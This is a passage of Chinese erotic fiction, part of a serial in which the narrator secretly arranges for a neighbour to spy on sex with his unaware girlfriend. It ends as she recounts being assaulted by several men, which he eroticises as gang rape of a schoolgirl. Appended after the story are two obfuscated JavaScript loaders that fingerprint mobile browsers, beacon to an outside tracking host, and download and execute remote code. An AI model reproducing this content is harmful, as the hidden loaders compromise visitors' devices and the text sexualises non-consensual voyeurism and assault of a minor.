这个,我想应该是纸条的真正来源了。那么那晚上,小光有没有真正插入小奕呢?我就无从考证了,也有可能是其实他们轰轰烈烈的干了一场,而小奕怕告诉我后会生她气,只说没插入。也许那个暑假,小光一有机会就会把他的肉棒放到小奕的小穴里去渡假呢?小奕不肯说,我也没有办法,只能自己做各种各样的猜想。

(4)小奕的第一次野战

各位应该还记得在第一篇里,小奕内裤事件里的小伟吧?自从上次半夜跟小伟聊过之后,一直在寻思着怎么找机会达到当初与小伟商定的事情。鉴于小奕现在一点也不知情,所以肯定不能明目张胆的来。

有时候吃过晚餐后,我跟小奕会一起去公园散步。这里的公园白天是要门票的,不过一到晚上就可以自由进出,方便市民进去散步什么的。没走多久,大家都觉得有点累了,于是我提议找个地方坐下休息一会。可是刚好走到那里是比较人多的地方,前后看了看,连比较好坐的石头都坐满了人,无奈之下只好继续向前走。这个时候我突然想起前面半山腰有一个凉亭,那里应该可以坐,而且那里相对比较偏僻,所以应该没什么人去。

来到凉亭之后,果然是意料之中的这里没有人,但不远的石阶上好像有人,光线不是太好,看不太清楚,只看到并排坐着两个人,我想应该是情侣吧!一到凉亭,我就坐在亭边的石头长凳上,小奕小心翼翼地查看了一下周围的环境,也坐到我旁边。可能是小奕的确也有点累了,就躺了下来,把我的腿当成枕头,好像是准备小睡一会儿的样子。

由于小奕背对着我,而且她的右手还抓着我的右手放在她胸前,可能是下意识的动作,因为这样就不容易不小心滚落到地上去。可是我却一点睡意也没有,所以右手在小奕的胸前开始不老实起来,隔着衣服在捏她的小馒头,小奕好像只顾着闭目养神,倒是没有阻止我的动作。

慢慢地我的右手挣脱了小奕的手,开始试图从小奕的衣服下面伸进去捏她的乳房,小奕还是没有反对,像一只温柔的小绵羊,任我摆布。可是我还不甘心于只是这样,还想有进一步的动迁。可小奕却穿着一条紧身的牛仔裤子,想直接从裤头伸进去摸下面,肯定是不太可能的。脱下小奕的裤子,估计她不会同意,所以就放弃了。

可是我还是不死心,便说:“这里环境真好啊!”小奕:“嗯。”

我:“你知道我说好是什么意思?你就嗯。”

小奕:“不知道,那你说的是什么好?”

我凑到小奕的耳朵前轻声的说:“我说的意思是,这里比较幽静,比较适合打野战。”

小奕:“恶心!”露出好像很鄙视我的样子。

我:“要不咱们现在来试试?”

小奕往四周看了看,确定是好像没人看见我们,又看了看自己:“我今天穿成这样,不太方便吧?下次好了。”

我:“你的意思是,你同意野战了?”

小奕:“穿裙子可能比较方便一些吧?”原来小奕是怕脱光了被人看见,她的意思应该是脱掉内裤就可以,然后裙子可以随时放下面吧?

小奕:“可是这里好多人,我怕被人看见,那样多不好。”我:“他们都在下面的大道上散步,很少上来这里的。再说,要真有人来看到这里有人的话,也应该不会走过来了。”

小奕:“可是我还是觉得不好。”

我:“那我们换个地方也行啊,也不一定非要在这里。”小奕:“什么地方?”

我:“要不我们去A山吧,我们走到里面一点,就没人会去了。不过那里只能是白天去,晚上不安全。”

小奕:“咦……白天被人看见更惨。”

我:“都说我们是走到山里面深入一点的地方了,哪里没有路,我们就走哪里。没有路的地方,总不会有人来了吧?”

小奕:“难说哦!”小奕还是将信将疑,但对我而言,小奕肯接受野战,又何尝不是一个很大的突破呢!至于选地方嘛,后面再说呗!

我后来一直在想,到底找个什么样的地方才不可能有人出现呢?毕竟是小奕的第一次野战,我可不想因为有人出现而把小奕吓坏,从此都不敢野战了,那可就损失大了。可是越想越不对,如果是我在外面看到有人打野战的话,我为什么要出现去打扰他们呢?不是应该躲在旁边偷看吗?对,一定是偷看。偷看的话,偷看的话……当我想到“偷看”这个词的时候,突然有一点兴奋。对啊,我怕什么?我不就是希望小奕被偷看吗?

散步结束,回到出租屋,刚刚打开计算机想看看新闻的时候,又听见有人在敲我的门。是小奕开的门,我听声音就知道是隔壁的小伟。

我:“小伟,什么事?”

小伟:“我来问下你,你有望远镜没有?”

我:“没有。你找那东西干什么?”我本想问他是不是要拿来偷窥的,可是小奕在场,没敢问。

小伟:“是我女朋友,她们班要出去玩两天,走大山,想带个望远镜方便查看地形,也可以用来看看远处的风景。”

我:“我还真没有。”

既然我没有,小伟也就悻悻的回去了。可是小伟刚才的对话却让我开始兴奋起来,因为我突然想出了一个似乎可行的凌辱方案。至于方案内容么,大家可能已经看出来了。关键词:偷看、大山、望远镜、野战。

既然方案确定了,接下来就要开始准备实施了。第一件要解决的事情,当然是最重要的,望远镜。所以立刻上淘宝网买了个望远镜,一百五十元人民币,虽然有点心痛,但一想到后面要发生的事情,管不了那么多了。

第二件事情,当然是跟小伟联系了。自从有了第一篇中的对话之后,我跟小伟说话直接了很多。当然,现在仅限于在QQ上聊,要当面说这些话,我还不知道有没有这个勇气。

跟小伟聊天的第二天下午,我骑摩托车载着小伟到A山。当然是先作实地考察,一是确定在哪里野战比较好,二是确定小伟在哪里偷看比较不容易被发现。

当然,我肯定是希望小伟能藏匿的地方,距离越近越好,最好是近距离观看。

之所以要买望远镜,也是考虑到这个问题,就算是找不到距离很近的地点给小伟藏匿偷看,也可以用新买的军用望远镜来看。我们有试过效果,500米外的地方,连女生脸上的小痘痘都可以看清清楚楚。如果在50米之内的话,我想连一根毛发都可以看清楚的。何况我们选的时间是大白天,光线很充足,在这种条件下面,那个清晰度就不用我描述了吧!

光是在筹划时,我都觉得相当刺激了,每每想到这点,弟弟都会忍不住要翘起来。从小伟跟我一起来勘察环境的主动程度看来,他也是非常期待此次的“偷看”。

现在万事俱备,只欠好戏上场了。勘察完环境后,回家查看近期天气预报,发现第二天的天气是多云。在我这个城市,多云其实就是晴。虽然是夏天,但有太阳也不怕,反正A山里有的是大树可以乘凉。

晚上睡觉的时候,我从后面抱着小奕,轻声的对她说:“明天,我们去A山吧?”

小奕:“去A山干嘛?那里有什么好玩的?”

我:“我们可以去树林里走走,唿吸一下新鲜空气嘛!你都没有去过。”小奕:“可是明天好像蛮大太阳呢!”

我:“不要紧啊,我们下午去,那里很多大树啊!你明天穿裙子去哦!”小奕:“去A山,穿裤子不是更好走路吗?干嘛要穿裙子?”我脸上充满坏笑:“你说呢?”

小奕:“啊!原来脑袋里想的是这种事情。”说着还用粉拳捶了我一下。

我:“嘿嘿……”

小奕:“可是,去山里穿长裙好像不太好走路呢!”我:“那你就穿短裙呗!”

小奕:“嗯,可是我怕那些草有刺。”

我:“那你穿上丝袜吧,好歹可以挡一挡。”

小奕:“好吧!”她总算是同意了。

我:“那我们明天下午睡完午觉去哦,要不会累的。”小奕:“嗯。”

说完小奕就开始睡觉了,她完全不知道明天会发生什么事,睡得相当安稳。

可是我却一点睡意也没有,脑子里尽是明天小奕在野外的淫荡样子、小伟在旁边偷看着,一边流口水,一边手淫的场景,下面又翘了起来,真想马上把小奕翻过来,狠狠地干她一炮,可是想想还是保存一下实力,留到明天下午的野战吧!

第二天下午。午觉我自然也是没有睡好,计划实现的时间越来越近,心里居然还有一点紧张,当然更多的刺激。趁着小奕睡着的时候,我发短讯通知小伟,让他等下先自己骑摩托车过去,并且叮嘱他,一定要把车放得距离等下我们要停车的地方远一些,免得被小奕发现。

小奕终于醒来了,洗脸、换衣服、梳头。小奕几乎不化妆,我也不知道为什么,不过我喜欢。化点淡妆我是可以接受的,当然,不化妆更天然。可是临行的时候,小奕还是决定不穿短裙,而是穿了一条黑色白花的裙子,很素的颜色。反正也无所谓,穿什么等下还不是都要被我脱光,我也不再坚持了。

从住的地方到A山其实不远,只有四公里,骑摩托车很快就到了,而且我自己当然是希望早一点让假话实施,所以不知不觉开得很快,差不多有70码了,被小奕发现之后还说了我一通:“我们又不赶时间,你开这么快做什么?慢点,风大把我的头发都吹乱了。”

预定的地点终于到了,由于摩托车也放不下多少东西,只带了一块野餐布。

现在想起来,那天为什么不带相机呢?说不定小奕在野外放开之后,会让我大拍特拍呢!后悔死了,真是百密一疏啊!

选定的地点在一棵大树下面,叫什么树就不知道了。这不是重点,重点是这棵树够大,后面藏几个人都没问题,而且大树后面就是一个比较高的陡坡,看样子应该也不会有人在后面,而小奕也应该不会有兴趣要走到大树后面去。当然,这些问题在我选地方的时候已经想过了。

我跟小奕走到指定地点的时候,都有些出汗了。毕竟不能在公路边,所以走了有一公里远的样子,在公路边的话,小奕肯定是不同意的。我就把T恤脱掉,光着上半身,小奕看见我脱了衣服,说:“这么不文明。”于是我说:“你说我不文明,等下我也要让你不文明,那才扯平。”说着就向小奕扑了过去,要脱她的衣服。她抓住衣服不让我脱,于是我决定改变策略,不急于脱光小奕的衣服,而是把手伸到衣服里去挑逗她,这样她就没办法反对了。

没过多久,小奕就有点反应了,我顺势把小奕的裙子后面的拉炼拉开,然后把上面的部分脱到胸部以下,随手除去了小奕的胸罩。接着我转到小奕身后,从后面抱着她,亲她的后颈,双手揉搓着两个小矛头,同时慢慢地把小奕转向正对着大概的那个方向。这个时候小奕的眼睛一般是闭着的,就算不是闭着,也不会看着远方,基本属于走神状态,应该不会那么容易发现在树后偷看的小伟。

然后小奕的内裤被我脱了下来,揉成一团,跟着用力一甩,甩到了十米外。

再把之前脱下的内衣也甩到了相反的方向,她身上就还剩下裙子挂在腰间。我把小奕放平躺下,对着小奕的小嘴亲了下去,同时用右手把小奕的双腿八字摆开,当然,肯定是对着大树的方向,然后轻轻的挑拨小奕的阴蒂。

不到一会儿,小奕就被挑逗得不行了,用手摸索着找寻我的肉棒,我也很奇怪,难道这是女人的本能吗?还是小奕之前有过什么经历?当她受挑逗得不能自己的时候,她就会用手摸索着找肉棒,然后抓住肉棒往自己的小穴靠近。

我当然不能这么容易的就让小奕得到肉棒,所以把小奕翻过身来,回到那个我最喜欢的姿势——母狗式。至于屁股嘛,肯定是让小伟方便偷看的方向了。

小伟会不会在后面看得忍不住,直接冲过来,把已经涨得很大的肉棒猛地从小奕那微微张开的小洞插进去呢?小奕能不能感觉得出来,那不是我的肉棒呢?

不过我估计按小伟的性格,没有这个胆量,但我还是充满期待,希望小伟能“雄起”一回。

小奕的小穴已经湿得一塌煳涂了,所以我很轻易地插入了一根中指。一根中指根本满足不了此时的小奕,所以小奕的屁股还在不停地扭动,试图与我的中指接触得更加紧密一些,然后屁股向着我插入的方向移动,希望手指能插入得更深一些。

不知道小伟在后面看到这样的场面,会不会已经忍不住要射了?就算要射,也别射在地上啊!这里有个现成的精液容器,不用白不用。

小奕开始不满足于我的一根手指了,又用手来摸索我的肉棒,所以我加入了第二根手指,而且手指不停地转动,在小奕的阴道壁上来回地刮着。小奕的小穴分泌了一些更加黏稠的液体,感觉我的两根手指像是在搅拌稀泥,只不过,这稀泥可是热的。

小伟终于还是没有冲过来,虽然这在意料之中,但我还是有些失望。可是小奕的小穴可是等不了了,于是我顺着小奕的母狗姿势,从后面对着小奕微张的小穴直挺挺的插了进去,一下到底,小奕发出一声销魂的“哦~~”。

又是没有任何阻碍,不过这次因为水太多了,根本就不费什么力气,而且感觉到小奕里面非常热,温度比平时好像要高很多。难道是野战的刺激造成的吗?

还是小奕潜意识里知道树后面有一双眼睛一直在偷看着自己?

最开始小奕还在尽量压抑着自己的声音,可能是怕被人听到。但到了后面,随着我动作的加快,更加猛烈的撞击,小奕已经无法控制了,一阵阵销魂的声音响彻山野。我当时在想,这么诱惑的声音会不会招来狼?不过A山里没有狼,就算有,也只能是色狼。可是我们实在走得太远了,根本没有人路过,整个场面就只有小伟一个人独享了。

想着树后的小伟,我更加来了精神,什么怜香惜玉、什么温柔,全部忘得干干净净,只想着把身下这个小淫虫尽情地蹂躏,一次一次猛烈的撞击,撞出“啪啪”的声音,甚至还能听到从远处的山壁传回来的回音,伴随着小奕的叫声,连身上的所有毛孔都觉得刺激。

小奕的小屁屁已经被我撞得绯红一片了,每一次的撞击都会带出来一点小奕的淫水,刺激着我的眼球,真想就这么一直不停地干下去,让小奕淫荡的声音传遍世界的每一个角落,让所有人都来听听,最好是所有人都过来脱下裤子,干上小奕一炮。

刺激的翻云覆雨总算过去了,不知道树后的小伟感觉如何了呢?小奕发现自己的内衣不见了。当然不见了,我扔得远远的,一下子肯定看不见,可是还是被小奕发现了,让我替她捡回来。看样子并没有因为我把内衣扔得远远的而生我的气,女人真难懂。

于是我说:“我从来都没有远距离欣赏过你的裸体,今天你就让我欣赏一回吧,所以我才故意把你的内衣扔得远远的。”小奕没有表现出生气的样子,只是“哦”了一声就向着内衣走去。

我这还是第一次看裸体在山间行走的小奕,当然,另外还有一双眼睛也在看着,那就是小伟。我想在今天以后,他应该会更加强烈地想要干我的女友了吧!

而我,也是应该要想想办法了,好让小伟的渴望得以实现,同时也踏出凌辱女友最重要的一步。

一起到小伟把小奕压倒在床上,把他粗黑的肉棒进入小奕身体的那一瞬间,我就兴奋得想流鼻血。这一天,到底要等到什么时候才能实现呢?

(5)小奕的第二个男人

小奕的第一个男人应该就是小光了,看过前面文章的院友应该有所了解。这一篇要讨论的,是小奕的第二个男人。是我吗?我也不是很确定,小奕以前的事情似乎没有被全部挖出来,而且小奕的讲述,院友们也发现了好像有很多漏洞,小狼自然也不在例外。可是小奕却好像不太想提及过去的事情,我也不能太过强迫她,只能因势利导,慢慢来咯!

仔细看过小奕照片的人也许就会发现,小奕的阴毛相当茂盛,而且阴唇的颜色也显得有一些深,我曾经就这个问题问过小奕:“我听说阴唇颜色深的女人,似乎是做过很多次爱哦!”虽然这个说法并不科学,也有一些是天生的,但为了一探小奕的究竟,当然要这么说。

小奕:“是吗?我怎么不知道?”

我:“你们以前就没关注过类似的咨询吗?”

小奕:“没有也。”那表情真像个不懂事的孩子,不知道是不是装出来的?

我:“那你有注意到你下面是什么时候开始变黑的吗?”小奕:“没注意到哦,好像一直都差不多。”

我:“是被小光插过之后就开始变黑的吗?”

小奕:“你怎么又问起这个事情来了,不是跟你讲过了么?”我:“我只是想知道,是谁把你的下面给搞黑了嘛!”小奕:“……”(小奕似乎是不知道该怎么回答我,无声)我:“好像你说过小光只插进去了一点点哦!应该不会是这样的原因。”小奕:“是啊!”

我:“难道小光后来又插过你?”

小奕:“没有啊!小光就只有那一次。”

听这话的意思是,小光就只有那一次。那有可能是别的男人吗?看来真的有可能还会有其它的事件,所以我今天一定要问个清楚。

我:“小光只有那一次?那不是那一次的是谁?”小奕:“我不知道。”

我:“你不知道?意思是真的有其它的啰?”

小奕:“啊!”

小奕这轻轻的“啊”一声好像很理直气壮的样子,倒是把我自己给搞晕了,于是我问:“这又是什么意思?”

小奕默默地看着我,眼睛一直盯着我看,好像是要看穿我。难道她发现我有这个癖好了?还是被我问出其它事件,心里在犹豫要不要告诉我?

我继续上次的伎俩,很冷静的表情:“我爱你,就会爱你的全部,包括你的过去、现在,还有未来。所以我想了解发生在你身上的任何事情,不管是好事还是坏事,我都想知道。”

小奕还是没有说话。

我继续表态:“你看你上次告诉我小光的事之后,我对你跟以前也没什么不一样吧?如果我真的在乎那些,上次我就跟你分手了,还用等到现在吗?”小奕嘴唇动了动,似乎是想开口说话,我一把将她搂入怀里,用很温柔的声音说:“没关系,你说吧,我真的想知道,而且不会怪你的。”小奕转过头来,悠悠的眼神看着我:“你可不要骗我,我现在跟定你了,不准不要我。”

魔羯座的女人性格就是这样,她一旦认定了一个人,就会坚持到底,永不放弃。我很庆幸自己找到了小奕,也很庆幸小奕已经认定了我。看着如此认真的小奕,我甚至都想动摇了,这么好的女友,我还在挖掘她的伤心往事,到底是应不应该呢?对小奕来说,好像是有些过于残忍了,可是我一想到小奕可能还有其它男人,曾经还在另一个男人的身体下面呻吟,我就忍不住想要追究下去的渴望。

我从后面抱住小奕,静静地等待。小奕应该是领会到我的意思了,所以开始了讲述:“我真不知道是谁。”

我:“为什么会不知道是谁呢?你不认识他吗?”小奕:“那天晚上我爸没回家,我哥又带了几个朋友回来打牌、看世界杯还是NBA,我也不清楚,反正他们四个人占着电视。他们在那里抽烟,屋子里全是烟味。”

四个人?当我听到四个人的时候,心里更加兴奋了,难道小奕那天晚上被轮奸?印象中小奕的哥哥跟小奕好像没什么感情,就算她哥哥不参与,那也有三个人。想想也是很刺激的事情,如此清纯的高中小女生,居然被三个男人轮奸,那场面要是我亲眼看见的话,怕是早就一泄千里了。

我越来越期待后面的内容,看小奕不说话了,不知道是在回忆,还是在想到底怎么跟我说,于是我便问:“然后呢?”

小奕:“电视他们占着,我没什么事干,就早早的洗了澡回房间了。”我:“你回房间没锁门?”(既然已经回房间了,要是锁了门,应该不会有事才对啊!所以我禁不住问。)

小奕:“有锁啊!我本来躺在床上看小说,可是后来我哥敲门。”我:“你哥?”(难道是她哥?这下不成兄妹乱伦了么?)小奕:“嗯,他问我家里的蚊香放在哪里了。说他们几个人觉得有蚊子,又找不到蚊香,所以问我。”

我:“哦,那然后呢?”我对接下来的事情甚是期待,恨不得小奕一口气讲完。

小奕:“我记得蚊香应该是放在电视机下面的柜子里的,所以我告诉我哥在电视下面的柜子里。可是我哥说他找过了,没有。我明明记得上次见的时候还有不少的,所以让他仔细找,可是我哥很不耐烦的样子,让我帮他找,所以我又出去帮他找了。

我本来都想睡觉了,只穿着睡裙,当时一时没想到外面还有其它人的事情,就直接出去了。那天我穿的是睡裙,是吊带的,他们几个看见了,就在那里吹口哨,我当时恨不得找个洞钻进去。他们吹口哨的时候,我也看了他们一眼,其中两个我没见过,另外一个好像以前来过我家。后来我也没找到蚊香,不知道谁拿走了,我就回房间了。”

我:“然后呢?”(然后呢?我感觉快要到主要情节了,心里痒痒的。)小奕:“我回到房间后就躺下了。”

我:“没了?”

小奕:“我睡不着,一想到他们盯着我看,吹口哨的样子,就讨厌。后来不知道过了多久,还是睡着了。”

我:“接下来发生了什么事情?”我的心都提到嗓子眼了。

小奕:“我睡得迷迷煳煳的,突然感觉到有人在摸我,我想叫,却发现嘴巴被人用手捂住了。”

我:“怎么会呢?你后来忘记锁门了?”

小奕:“我记得应该是锁了门的,我也不知道他们是怎么进来的。”我:“他们?不是一个人?”(难道小奕真的是被轮奸!?)小奕:“我也不知道,肯定不是一个人。有人用手捂住我的


上一篇:香艳杀劫1-3

下一篇:女星(神)改编(09)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};